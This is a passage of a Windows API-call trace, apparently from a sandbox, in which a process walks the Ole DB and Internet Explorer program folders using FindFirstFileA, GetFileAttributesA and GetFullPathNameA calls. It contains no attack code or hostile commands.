FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0124.055] GetCurrentThreadId () returned 0x9b0 [0124.055] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0124.056] GetCurrentThreadId () returned 0x9b0 [0124.056] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us")) returned 0x10 [0124.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0124.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0124.057] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll")) returned 0x20 [0124.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a3e8 | out: hHeap=0x2ad0000) returned 1 [0124.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.057] GetCurrentThreadId () returned 0x9b0 [0124.058] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0124.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0124.058] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0124.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.059] GetCurrentThreadId () returned 0x9b0 [0124.059] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0124.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887698 | out: hHeap=0x2ad0000) returned 1 [0124.059] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0124.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0124.060] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881060, Size=0x20) returned 0x33eaf08 [0124.060] GetCurrentThreadId () returned 0x9b0 [0124.060] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0124.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887728 | out: hHeap=0x2ad0000) returned 1 [0124.061] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0124.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0124.061] GetCurrentThreadId () returned 0x9b0 [0124.062] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0124.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0124.062] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0124.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0124.062] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eaf08, Size=0x40) returned 0x3887920 [0124.062] GetCurrentThreadId () returned 0x9b0 [0124.062] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0124.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0124.064] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0124.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887410 | out: hHeap=0x2ad0000) returned 1 [0124.067] GetCurrentThreadId () returned 0x9b0 [0124.067] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0124.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38875c0 | out: hHeap=0x2ad0000) returned 1 [0124.072] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0124.076] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0124.076] GetCurrentThreadId () returned 0x9b0 [0124.076] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0124.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0124.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eaff8 | out: hHeap=0x2ad0000) returned 1 [0124.081] GetCurrentThreadId () returned 0x9b0 [0124.081] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll", lpFilePart=0x9bada4*="msdaosp.dll") returned 0x37 [0124.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.081] GetCurrentThreadId () returned 0x9b0 [0124.081] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll", lpFilePart=0x9bada4*="msdaps.dll") returned 0x36 [0124.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.082] GetCurrentThreadId () returned 0x9b0 [0124.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.082] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll", lpFilePart=0x9bada4*="msdasql.dll") returned 0x37 [0124.082] GetCurrentThreadId () returned 0x9b0 [0124.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.082] GetCurrentThreadId () returned 0x9b0 [0124.082] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll", lpFilePart=0x9bada4*="msdasqlr.dll") returned 0x38 [0124.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.083] GetCurrentThreadId () returned 0x9b0 [0124.083] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll", lpFilePart=0x9bada4*="msdatl3.dll") returned 0x37 [0124.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.083] GetCurrentThreadId () returned 0x9b0 [0124.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.084] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll", lpFilePart=0x9bada4*="msxactps.dll") returned 0x38 [0124.084] GetCurrentThreadId () returned 0x9b0 [0124.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.084] GetCurrentThreadId () returned 0x9b0 [0124.084] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll", lpFilePart=0x9bada4*="oledb32.dll") returned 0x37 [0124.084] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.084] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0124.084] GetCurrentThreadId () returned 0x9b0 [0124.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.085] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll", lpFilePart=0x9bada4*="oledb32r.dll") returned 0x38 [0124.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.085] GetCurrentThreadId () returned 0x9b0 [0124.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.085] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0124.085] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.086] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", lpFilePart=0x9bada4*="oledbjvs.inc") returned 0x38 [0124.086] GetCurrentThreadId () returned 0x9b0 [0124.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0124.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.086] GetCurrentThreadId () returned 0x9b0 [0124.086] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", lpFilePart=0x9bada4*="oledbvbs.inc") returned 0x38 [0124.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.086] GetCurrentThreadId () returned 0x9b0 [0124.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0124.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0124.087] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll", lpFilePart=0x9bada4*="sqloledb.dll") returned 0x38 [0124.087] GetCurrentThreadId () returned 0x9b0 [0124.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.087] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.087] GetCurrentThreadId () returned 0x9b0 [0124.087] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", lpFilePart=0x9bada4*="sqloledb.rll") returned 0x38 [0124.087] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0124.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.088] GetCurrentThreadId () returned 0x9b0 [0124.088] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll", lpFilePart=0x9bada4*="sqlxmlx.dll") returned 0x37 [0124.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.088] GetCurrentThreadId () returned 0x9b0 [0124.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0124.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.088] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", lpFilePart=0x9bada4*="sqlxmlx.rll") returned 0x37 [0124.089] GetCurrentThreadId () returned 0x9b0 [0124.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0124.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0124.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0124.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0124.089] GetCurrentThreadId () returned 0x9b0 [0124.089] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0124.089] GetCurrentThreadId () returned 0x9b0 [0124.089] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.090] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0124.090] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0124.090] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0124.090] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0124.090] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bae30 | out: lpFindFileData=0x9bae30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x9babec, dwReserved1=0x73013d47, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0124.090] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0124.090] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0124.097] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db620 | out: hHeap=0x2ad0000) returned 1 [0124.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0124.097] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0124.105] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0124.105] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui")) returned 0x20 [0124.107] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb20 | out: hHeap=0x2ad0000) returned 1 [0124.107] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui")) returned 0x20 [0124.108] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db940 | out: hHeap=0x2ad0000) returned 1 [0124.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui", lpFilePart=0x9bada4*="msdasqlr.dll.mui") returned 0x42 [0124.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui", lpFilePart=0x9bada4*="oledb32r.dll.mui") returned 0x42 [0124.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0124.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui", lpFilePart=0x9bada4*="sqloledb.rll.mui") returned 0x42 [0124.109] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui", lpFilePart=0x9bada4*="sqlxmlx.rll.mui") returned 0x41 [0124.109] FindFirstFileA (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0124.110] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0124.110] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, 